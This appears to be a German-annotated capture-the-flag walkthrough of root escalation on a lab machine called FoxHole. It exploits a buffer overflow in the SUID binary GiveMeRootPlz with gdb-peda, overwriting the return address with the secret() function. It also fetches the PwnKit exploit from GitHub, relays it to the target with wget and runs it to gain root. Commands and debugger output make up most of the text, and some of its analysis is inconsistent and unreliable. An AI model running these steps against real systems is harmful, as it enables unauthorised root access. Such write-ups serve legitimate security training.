       64     63 -rwsr-xr-x   1 root     root               64424 Jun 28  2019 /snap/core18/1705/bin/ping
       80     44 -rwsr-xr-x   1 root     root               44664 Mar 22  2019 /snap/core18/1705/bin/su
       98     27 -rwsr-xr-x   1 root     root               26696 Jan  8  2020 /snap/core18/1705/bin/umount
     1731     75 -rwsr-xr-x   1 root     root               76496 Mar 22  2019 /snap/core18/1705/usr/bin/chfn
     1733     44 -rwsr-xr-x   1 root     root               44528 Mar 22  2019 /snap/core18/1705/usr/bin/chsh
     1784     75 -rwsr-xr-x   1 root     root               75824 Mar 22  2019 /snap/core18/1705/usr/bin/gpasswd
     1848     40 -rwsr-xr-x   1 root     root               40344 Mar 22  2019 /snap/core18/1705/usr/bin/newgrp
     1860     59 -rwsr-xr-x   1 root     root               59640 Mar 22  2019 /snap/core18/1705/usr/bin/passwd
     1951    146 -rwsr-xr-x   1 root     root              149080 Jan 31  2020 /snap/core18/1705/usr/bin/sudo
     2038     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 10  2019 /snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     2346    427 -rwsr-xr-x   1 root     root              436552 Mar  4  2019 /snap/core18/1705/usr/lib/openssh/ssh-keysign
   263302    164 -rwsr-xr-x   1 root     root              166056 Feb  3  2020 /usr/bin/sudo
   262586     88 -rwsr-xr-x   1 root     root               88464 Apr 16  2020 /usr/bin/gpasswd
   263024     68 -rwsr-xr-x   1 root     root               68208 Apr 16  2020 /usr/bin/passwd
   262324     52 -rwsr-xr-x   1 root     root               53040 Apr 16  2020 /usr/bin/chsh
   275467     16 -rwsr-xr-x   1 root     root               14728 Jun 21  2020 /usr/bin/vmware-user-suid-wrapper
   263400     40 -rwsr-xr-x   1 root     root               39144 Apr  2  2020 /usr/bin/umount
   263078     32 -rwsr-xr-x   1 root     root               31032 Aug 16  2019 /usr/bin/pkexec
   262505     40 -rwsr-xr-x   1 root     root               39144 Mar  7  2020 /usr/bin/fusermount
   262318     84 -rwsr-xr-x   1 root     root               85064 Apr 16  2020 /usr/bin/chfn
   262954     44 -rwsr-xr-x   1 root     root               44784 Apr 16  2020 /usr/bin/newgrp
   263301     68 -rwsr-xr-x   1 root     root               67816 Apr  2  2020 /usr/bin/su
   262919     56 -rwsr-xr-x   1 root     root               55528 Apr  2  2020 /usr/bin/mount
   271775    388 -rwsr-xr--   1 root     dip               395144 Feb 11  2020 /usr/sbin/pppd
   269365     24 -rwsr-xr-x   1 root     root               22840 Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   269554    128 -rwsr-xr-x   1 root     root              130120 Apr 10  2020 /usr/lib/snapd/snap-confine
   264613     16 -rwsr-xr-x   1 root     root               14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
   275647    464 -rwsr-xr-x   1 root     root              473576 May 29  2020 /usr/lib/openssh/ssh-keysign
   271326     16 -rwsr-sr-x   1 root     root               14488 Apr  6  2020 /usr/lib/xorg/Xorg.wrap
   264320     52 -rwsr-xr--   1 root     messagebus         51344 Dec  6  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Technische Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach allen Dateien mit dem SUID-Bit, das es einem Benutzer ermöglicht, die Datei mit den Rechten des Besitzers auszuführen.

Kontextbezogene Bewertung: Das Ergebnis zeigt mehrere Dateien mit SUID-Bit, darunter `/home/fox/GiveMeRootPlz`. Dies ist eine benutzerdefinierte ausführbare Datei, die möglicherweise eine Schwachstelle enthält.

Handlungsorientierte Empfehlungen: Der Pentester sollte die Datei `/home/fox/GiveMeRootPlz` genauer untersuchen.

fox@FoxHole$ ls -la
total 104
drwxr-xr-x 17 fox  fox   4096 Sep  9  2020 .
drwxr-xr-x  3 root root  4096 Sep  9  2020 ..
lrwxrwxrwx  1 fox  fox      9 Sep  9  2020 .bash_history -> /dev/null
-rw-r--r--  1 fox  fox    220 Sep  9  2020 .bash_logout
-rw-r--r--  1 fox  fox   3771 Sep  9  2020 .bashrc
drwx------ 13 fox  fox   4096 Sep  9  2020 .cache
drwxr-xr-x 13 fox  fox   4096 Sep  9  2020 .config
drwxr-xr-x  2 fox  fox   4096 Sep  9  2020 Desktop
drwxr-xr-x  2 fox  fox   4096 Sep  9  2020 Documents
drwxr-xr-x  4 fox  fox   4096 Sep  9  2020 Downloads
-rw-------  1 fox  fox    797 Sep  9  2020 .gdb_history
-rw-rw-r--  1 fox  fox     22 Sep  9  2020 .gdbinit
-rwsrwxr-x  1 root root 15880 Sep  9  2020 GiveMeRootPlz
drwx------  3 fox  fox   4096 Sep  9  2020 .gnupg
drwxr-xr-x  3 fox  fox   4096 Sep  9  2020 .local
drwx------  5 fox  fox   4096 Sep  9  2020 .mozilla
drwxr-xr-x  2 fox  fox   4096 Sep  9  2020 Music
drwxrwxr-x  4 fox  fox   4096 Sep  9  2020 peda
drwxr-xr-x  2 fox  fox   4096 Sep  9  2020 Pictures
-rw-r--r--  1 fox  fox    807 Sep  9  2020 .profile
drwxr-xr-x  2 fox  fox   4096 Sep  9  2020 Public
drwx------  2 fox  fox   4096 Sep  9  2020 .ssh
-rw-------  1 fox  fox      0 Sep  9  2020 .sudo_as_admin_successful
drwxr-xr-x  2 fox  fox   4096 Sep  9  2020 Templates
drwxr-xr-x  2 fox  fox   4096 Sep  9  2020 Videos

Technische Analyse: Der Befehl `ls -la` listet alle Dateien und Verzeichnisse im aktuellen Verzeichnis auf, einschließlich versteckter Dateien, mit detaillierten Informationen.

Kontextbezogene Bewertung: Die Ausgabe zeigt, dass `GiveMeRootPlz` dem Benutzer root gehört und das SUID-Bit gesetzt ist (`-rwsrwxr-x`). Das bedeutet, dass jeder, der diese Datei ausführt, dies mit den Rechten von root tut.

Handlungsorientierte Empfehlungen: Der Pentester sollte diese Datei ausführen und auf Schwachstellen untersuchen.

fox@FoxHole$ strings GiveMeRootPlz
/lib/ld-linux.so.2
libc.so.6
_I_stdin_used
gets
puts
printf
setresgid
setresuid
system
getegid
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.1.3
GLIBC_2.0
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
[^_]
/bin/bash
Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
9*2$"
GCC: (Ubuntu 9.3.0-10ubuntu2) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7621
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
GiveMeRootPlz.c
__FRAME_END__
__init_array_end

Technische Analyse: Der Befehl `strings GiveMeRootPlz` extrahiert alle druckbaren Zeichenketten aus der Datei.

Kontextbezogene Bewertung: Die Ausgabe enthält interessante Zeichenketten wie `/bin/bash`, "Do you want the root password?", "You didn't convince me!" und "Maybe you should write me a *very long* reason why I should give you the password". Dies deutet darauf hin, dass die Datei nach einer langen Eingabeaufforderung fragt und möglicherweise anfällig für einen Buffer Overflow ist.

Handlungsorientierte Empfehlungen: Der Pentester sollte die Datei auf einen Buffer Overflow testen.

fox@FoxHole$ file GiveMeRootPlz
GiveMeRootPlz: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=f70605a20537a577f0ae7253c0231ca4d6f7ab66, for GNU/Linux 3.2.0, not stripped

Technische Analyse: Der Befehl `file GiveMeRootPlz` gibt Informationen über den Dateityp an.

Kontextbezogene Bewertung: Die Ausgabe bestätigt, dass es sich um eine 32-Bit-ELF-Datei mit SUID-Bit handelt. Sie ist nicht stripped, was bedeutet, dass Debug-Informationen vorhanden sind und die Analyse erleichtern.

Handlungsorientierte Empfehlungen: Der Pentester kann nun mit der Analyse der Datei beginnen, um die Buffer-Overflow-Schwachstelle auszunutzen.

Proof of Concept: Ausnutzung des Buffer Overflows in GiveMeRootPlz

Ziel:

Der POC soll demonstrieren, wie die identifizierte Buffer-Overflow-Schwachstelle in der Datei `/home/fox/GiveMeRootPlz` ausgenutzt werden kann, um unbefugten Zugriff als Root zu erlangen. Es dient als praktischer Beweis für die Realisierbarkeit des Angriffs und unterstreicht die Notwendigkeit, die Schwachstelle zu beheben.

Voraussetzungen:

  • Zugriff auf das System als Benutzer "fox".
  • Kenntnisse über Buffer Overflows und deren Ausnutzung.
  • Gdb für die Analyse und das Debugging.
fox@FoxHole$ python3 -c 'print("A"*1000)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....

Technische Analyse: Mit diesem Befehl wird eine Zeichenkette aus 1000 "A"s erzeugt.

Kontextbezogene Bewertung: Diese lange Zeichenkette wird verwendet, um den Puffer in `/home/fox/GiveMeRootPlz` zu überlaufen.

Handlungsorientierte Empfehlungen: Der Pentester führt die Datei mit der langen Eingabe aus, um einen Segmentation Fault zu verursachen.

fox@FoxHole$ ./GiveMeRootPlz
Do you want the root password?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
Segmentation fault (core dumped)

Technische Analyse: Die Ausführung von `/home/fox/GiveMeRootPlz` mit der langen Eingabe führt zu einem Segmentation Fault.

Kontextbezogene Bewertung: Dies bestätigt, dass ein Buffer Overflow existiert.

Handlungsorientierte Empfehlungen: Der Pentester sollte nun den genauen Offset für den Buffer Overflow ermitteln.

Privilege Escalation

Technische Analyse: Der Pentester analysiert nun die Binärdatei mit `gdb`, um den genauen Offset zu finden, an dem der EIP überschrieben wird.

Kontextbezogene Bewertung: Die Analyse mit `gdb` ist entscheidend, um die Ausnutzung präzise zu gestalten.

fox@FoxHole$ gdb ./GiveMeRootPlz
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
    .

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./GiveMeRootPlz...(No debugging symbols found in ./GiveMeRootPlz)
(gdb) r
Starting program: /home/fox/GiveMeRootPlz 
Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password

Program received signal SIGSEGV, Segmentation fault.
0xf7f5a000 in ?? ()

Technische Analyse: GDB wird gestartet und die Binärdatei wird ausgeführt. Es kommt zu einem Segmentation Fault.

Kontextbezogene Bewertung: Dies ist der erwartete Absturz aufgrund des Buffer Overflows.

Handlungsorientierte Empfehlungen: Der Pentester sollte ein Pattern erstellen, um den genauen Offset zu ermitteln.

gdb-peda$ pattern create 1000 pattern
Writing pattern of 1000 chars to filename "pattern"

Technische Analyse: PEDA wird verwendet, um ein Pattern von 1000 Zeichen zu erstellen.

Kontextbezogene Bewertung: Dieses Pattern wird verwendet, um den genauen Offset zu ermitteln, an dem der EIP überschrieben wird.

Handlungsorientierte Empfehlungen: Der Pentester sollte die Datei mit dem Pattern als Eingabe ausführen.

gdb-peda$ r < pattern
Starting program: /home/fox/GiveMeRootPlz < pattern
Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password

Program received signal SIGSEGV, Segmentation fault.

Registers:
EAX: 0x0 
EBX: 0x414d7341 ('AsMA')
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7fb5000 --> 0x1e6d6c 
EDI: 0xf7fb5000 --> 0x1e6d6c 
EBP: 0x73416973 ('siAs')
ESP: 0xffffd570 ("AsjAs9AsAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8AB"...)
EIP: 0x4e734138 ('8AsN')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x4e734138
[------------------------------------stack-------------------------------------]
0000| 0xffffd570 ("AsjAs9AsAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8AB"...)
0004| 0xffffd574 ("s9AsAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABj"...)
0008| 0xffffd578 ("AskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9A"...)
0012| 0xffffd57c ("AsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABAB"...)
0016| 0xffffd580 ("slAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABABkABP"...)
0020| 0xffffd584 ("QAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABABkABPABlA"...)
0024| 0xffffd588 ("AsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABABkABPABlABQAB"...)
0028| 0xffffd58c ("soAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAs   vAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABABkABPABlABQABmABR"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Stopped reason: SIGSEGV
0x4e734138 in ?? ()

Technische Analyse: Die Ausführung der Datei mit dem Pattern führt erneut zu einem Segmentation Fault. Der Wert des EIP ist `0x4e734138`.

Kontextbezogene Bewertung: Dieser Wert wird verwendet, um den Offset zu berechnen.

Handlungsorientierte Empfehlungen: Der Pentester sollte den Befehl `pattern offset` verwenden, um den Offset zu ermitteln.

gdb-peda$ pattern offset 0x4e734138
1316176184 found at offset: 516

Technische Analyse: Der Befehl `pattern offset` ermittelt den Offset, an dem der Wert `0x4e734138` im Pattern gefunden wurde.

Kontextbezogene Bewertung: Der Offset beträgt 516.

Handlungsorientierte Empfehlungen: Der Pentester sollte nun versuchen, den EIP mit einer kontrollierten Adresse zu überschreiben.

fox@FoxHole$ python3 -c 'print("A"*516 + "BBBB")' > crash1

Technische Analyse: Mit diesem Befehl wird eine Datei namens `crash1` erstellt, die 516 "A"s und dann "BBBB" enthält.

Kontextbezogene Bewertung: Dies soll den EIP mit `0x42424242` überschreiben.

Handlungsorientierte Empfehlungen: Der Pentester sollte die Datei `crash1` als Eingabe für die Binärdatei verwenden.

gdb-peda$ r < crash1
Starting program: /home/fox/GiveMeRootPlz < crash1
Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password

Program received signal SIGSEGV, Segmentation fault.

Registers:
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7fb5000 --> 0x1e6d6c 
EDI: 0xf7fb5000 --> 0x1e6d6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd570 --> 0xf7fb5000 --> 0x1e6d6c 
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd570 --> 0xf7fb5000 --> 0x1e6d6c 
0004| 0xffffd574 --> 0xf7fb5000 --> 0x1e6d6c 
0008| 0xffffd578 --> 0x0 
0012| 0xffffd57c --> 0xf7decee5 (<__libc_start_main+245>:	add    esp,0x10)
0016| 0xffffd580 --> 0x1 
0020| 0xffffd584 --> 0xffffd614 --> 0xffffd75f ("/home/fox/GiveMeRootPlz")
0024| 0xffffd588 --> 0xffffd61c --> 0xffffd777 ("SHELL=/bin/bash")
0028| 0xffffd58c --> 0xffffd5a4 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Stopped reason: SIGSEGV
0x42424242 in ?? ()

Technische Analyse: Der EIP wurde erfolgreich mit `0x42424242` ("BBBB") überschrieben.

Kontextbezogene Bewertung: Dies bestätigt, dass der Offset korrekt ist.

Handlungsorientierte Empfehlungen: Der Pentester sollte nun versuchen, den EIP mit der Adresse der `secret()`-Funktion zu überschreiben.

gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x56556000  _init
0x565560d0  __cxa_finalize@plt
0x565560e0  setresuid@plt
0x565560f0  printf@plt
0x56556100  gets@plt
0x56556110  geteuid@plt
0x56556120  getegid@plt
0x56556130  puts@plt
0x56556140  system@plt
0x56556150  __libc_start_main@plt
0x56556160  setresgid@plt
0x565562a9  __x86.get_pc_thunk.dx
0x565562ad  secret
0x56556312  overflow
0x56556380  main

Technische Analyse: Der Befehl `info functions` listet alle Funktionen in der Binärdatei auf.

Kontextbezogene Bewertung: Die Adresse der `secret()`-Funktion ist `0x565562ad`.

Handlungsorientierte Empfehlungen: Der Pentester sollte diese Adresse im Little-Endian-Format verwenden, um den EIP zu überschreiben.

gdb-peda$ disas secret
Dump of assembler code for function secret:
   0x565562ad <+0>:	endbr32 
   0x565562b1 <+4>:	push   ebp
   0x565562b2 <+5>:	mov    ebp,esp
   0x565562b4 <+7>:	push   ebx
   0x565562b5 <+8>:	sub    esp,0x14
   0x565562b8 <+11>:	call   0x565561b0 <__x86.get_pc_thunk.bx>
   0x565562bd <+16>:	add    ebx,0x2cff
   0x565562c3 <+22>:	call   0x56556110 
   0x565562c8 <+27>:	mov    DWORD PTR [ebp-0xc],eax
   0x565562cb <+30>:	sub    esp,0x4
   0x565562ce <+33>:	push   DWORD PTR [ebp-0xc]
   0x565562d1 <+36>:	push   DWORD PTR [ebp-0xc]
   0x565562d4 <+39>:	push   DWORD PTR [ebp-0xc]
   0x565562d7 <+42>:	call   0x565560e0 
   0x565562dc <+47>:	add    esp,0x10
   0x565562df <+50>:	call   0x56556120 
   0x565562e4 <+55>:	mov    DWORD PTR [ebp-0x10],eax
   0x565562e7 <+58>:	sub    esp,0x4
   0x565562ea <+61>:	push   DWORD PTR [ebp-0x10]
   0x565562ed <+64>:	push   DWORD PTR [ebp-0x10]
   0x565562f0 <+67>:	push   DWORD PTR [ebp-0x10]
   0x565562f3 <+70>:	call   0x56556160 
   0x565562f8 <+75>:	add    esp,0x10
   0x565562fb <+78>:	sub    esp,0xc
   0x565562fe <+81>:	lea    eax,[ebx-0x1fb4]
   0x56556304 <+87>:	push   eax
   0x56556305 <+88>:	call   0x56556140 
   0x5655630a <+93>:	add    esp,0x10
   0x5655630d <+96>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x56556310 <+99>:	leave  
   0x56556311 <+100>:	ret    
End of assembler dump.

Technische Analyse: Hier wird die `secret()`-Funktion disassembliert, um zu überprüfen, was sie tut.

Kontextbezogene Bewertung: Die `secret()`-Funktion setzt die UID und GID auf 0 und führt dann `/bin/bash` aus.

fox@FoxHole$ cat /proc/sys/kernel/randomize_va_space
0

Technische Analyse: Dieser Befehl überprüft, ob ASLR (Address Space Layout Randomization) aktiviert ist.

Kontextbezogene Bewertung: Der Wert 0 bedeutet, dass ASLR deaktiviert ist. Dies erleichtert die Ausnutzung, da die Adressen im Speicher nicht zufällig geändert werden.

fox@FoxHole$ python3 -c 'print("A"*516 + "\xad\x62\x55\x56")' > crash1

Technische Analyse: Mit diesem Befehl wird eine Datei namens `crash1` erstellt, die 516 "A"s und dann die Little-Endian-Adresse der `secret()`-Funktion enthält.

Kontextbezogene Bewertung: Dies soll den EIP mit der Adresse der `secret()`-Funktion überschreiben.

gdb-peda$ r < crash1
Starting program: /home/fox/GiveMeRootPlz < crash1

Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password

Program received signal SIGSEGV, Segmentation fault.

Registers:
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7fb5000 --> 0x1e6d6c 
EDI: 0xf7fb5000 --> 0x1e6d6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd570 --> 0xf7fb0056 --> 0xc7410c0e 
EIP: 0x5562adc2
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x5562adc2
[------------------------------------stack-------------------------------------]
0000| 0xffffd570 --> 0xf7fb0056 --> 0xc7410c0e 
0004| 0xffffd574 --> 0xf7fb5000 --> 0x1e6d6c 
0008| 0xffffd578 --> 0x0 
0012| 0xffffd57c --> 0xf7decee5 (<__libc_start_main+245>:	add    esp,0x10)
0016| 0xffffd580 --> 0x1 
0020| 0xffffd584 --> 0xffffd614 --> 0xffffd75f ("/home/fox/GiveMeRootPlz")
0024| 0xffffd588 --> 0xffffd61c --> 0xffffd777 ("SHELL=/bin/bash")
0028| 0xffffd58c --> 0xffffd5a4 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Stopped reason: SIGSEGV
0x5562adc2 in ?? ()

Technische Analyse: Die Ausführung der Datei mit der Adresse der `secret()`-Funktion führt zu einem Segmentation Fault, aber die Adresse im EIP ist nicht korrekt (`0x5562adc2`).

Kontextbezogene Bewertung: Es gibt ein Problem mit der Adresse oder der Art und Weise, wie sie verwendet wird.

gdb-peda$ python3 -c 'print("A"*515 + "\xad\x62\x55\x56")' > crash1

Technische Analyse: Der Exploit wird nun erneut generiert, aber dieses Mal wird ein Byte weniger an "A"s verwendet (515 statt 516).

gdb-peda$ r < crash1
Starting program: /home/fox/GiveMeRootPlz < crash1

Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
[Attaching after process 3801 vfork to child process 3802]
[New inferior 2 (process 3802)]
[Detaching vfork parent process 3801 after child exec]
[Inferior 1 (process 3801) detached]
process 3802 is executing new program: /usr/bin/dash
[Attaching after process 3802 fork to child process 3804]
[New inferior 3 (process 3804)]
[Detaching after fork from parent process 3802]
[Inferior 2 (process 3802) detached]
process 3804 is executing new program: /usr/bin/bash       << die bash wurde gespawned
[Inferior 3 (process 3804) exited normally]

Warning: not running

Technische Analyse: Überraschung! Dieses Mal stürzt die Anwendung NICHT ab, sondern ruft bash auf!

Kontextbezogene Bewertung: Wir haben es geschafft!! Aber bevor wir unsere Shell holen, wollen wir herausfinden, was passiert.

Privilege Escalation

Technische Analyse: Da ASLR deaktiviert ist, können wir direkt die Adresse der Funktion 'secret' verwenden, um die Ausführung umzuleiten.

fox@FoxHole$ gdb ./GiveMeRootPlz
gdb-peda$ info function overflow
All functions matching regular expression "overflow":

Non-debugging symbols:
0x00001312  overflow

Technische Analyse: Informationen über die Funktion 'overflow' erhalten.

Kontextbezogene Bewertung: Wir benötigen die Adresse der Funktion 'overflow', um zu verstehen, wie wir die Ausführung umleiten können.

gdb-peda$ disas overflow
Dump of assembler code for function overflow:
   0x00001312 <+0>:	endbr32 
   0x00001316 <+4>:	push   ebp
   0x00001317 <+5>:	mov    ebp,esp
   0x00001319 <+7>:	push   ebx
   0x0000131a <+8>:	sub    esp,0x204
   0x00001320 <+14>:	call   0x11b0 <__x86.get_pc_thunk.bx>
   0x00001325 <+19>:	add    ebx,0x2c97
   0x0000132b <+25>:	sub    esp,0xc
   0x0000132e <+28>:	lea    eax,[ebx-0x1fa8]
   0x00001334 <+34>:	push   eax
   0x00001335 <+35>:	call   0x10f0 
   0x0000133a <+40>:	add    esp,0x10
   0x0000133d <+43>:	sub    esp,0xc
   0x00001340 <+46>:	lea    eax,[ebp-0x200]
   0x00001346 <+52>:	push   eax
   0x00001347 <+53>:	call   0x1100 
   0x0000134c <+58>:	add    esp,0x10
   0x0000134f <+61>:	mov    DWORD PTR [ebp-0xc],eax
   0x00001352 <+64>:	sub    esp,0xc
   0x00001355 <+67>:	lea    eax,[ebx-0x1f88]
   0x0000135b <+73>:	push   eax
   0x0000135c <+74>:	call   0x10f0 
   0x00001361 <+79>:	add    esp,0x10
   0x00001364 <+82>:	sub    esp,0xc
   0x00001367 <+85>:	lea    eax,[ebx-0x1f6c]
   0x0000136d <+91>:	push   eax
   0x0000136e <+92>:	call   0x1130 
   0x00001373 <+97>:	add    esp,0x10
   0x00001376 <+100>:	mov    eax,0x0
   0x0000137b <+105>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x0000137e <+108>:	leave  
   0x0000137f <+109>:	ret    
End of assembler dump.
gdb-peda$ break *0x5655637f
Breakpoint 1 at 0x5655637f

Technische Analyse: Ein Breakpoint wird auf die ret-Anweisung in der Funktion 'overflow()' gesetzt, um zu untersuchen, was passiert.

gdb-peda$ r < crash1
Starting program: /home/fox/GiveMeRootPlz < crash1

Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
[Attaching after process 3801 vfork to child process 3802]
[New inferior 2 (process 3802)]
[Detaching vfork parent process 3801 after child exec]
[Inferior 1 (process 3801) detached]
process 3802 is executing new program: /usr/bin/dash
[Attaching after process 3802 fork to child process 3804]
[New inferior 3 (process 3804)]
[Detaching after fork from parent process 3802]
[Inferior 2 (process 3802) detached]
process 3804 is executing new program: /usr/bin/bash       << die bash wurde gespawned
[Inferior 3 (process 3804) exited normally]

Warning: not running
Breakpoint 1, 0x5655637f in overflow ()

Technische Analyse: Wir sehen, dass oben im Stapel die Adresse von Secret() steht. Wenn der Ret-Befehl ausgeführt wird, wird der Wert oben im Stapel per „PP“ in EIP übertragen und die Ausführung wird dort fortgesetzt.

fox@FoxHole$ gdb ./GiveMeRootPlz
gdb-peda$ x/s $ebx-0x1fb4
0x4141218d: 

Technische Analyse: Das System versucht auf eine Speicheradresse zuzugreifen, die nicht verfügbar ist, was wahrscheinlich auf den Buffer Overflow zurückzuführen ist.

fox@FoxHole$ file GiveMeRootPlz
GiveMeRootPlz: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=f70605a20537a577f0ae7253c0231ca4d6f7ab66, for GNU/Linux 3.2.0, not stripped

Handlungsorientierte Empfehlungen: Wir haben jetzt eine Shell mit Root-Rechten!!

┌──(root㉿CCat)-[~]
└─# mkdir 4034
┌──(root㉿CCat)-[~]
└─# cd 4034
┌──(root㉿CCat)-[~/4034]
└─# curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
┌──(root㉿CCat)-[~/4034]
└─# chmod +x ./PwnKit
┌──(root㉿CCat)-[~/4034]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...192.168.2.132 - - [10/Oct/2024 00:11:07] "GET /PwnKit HTTP/1.1" 200 -
fox@FoxHole:/tmp$ wget 192.168.2.199/PwnKit
--2024-10-09 15:11:13-- http://192.168.2.199/PwnKit
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘PwnKit’

PwnKit 100%[=========================================================================>] 17.62K --.-KB/s in 0s

2024-10-09 15:11:13 (439 MB/s) - ‘PwnKit’ saved [18040/18040]
fox@FoxHole:/tmp$ chmod +x PwnKit
fox@FoxHole:/tmp$ ./PwnKit
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.
root@FoxHole:/tmp# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(fox)
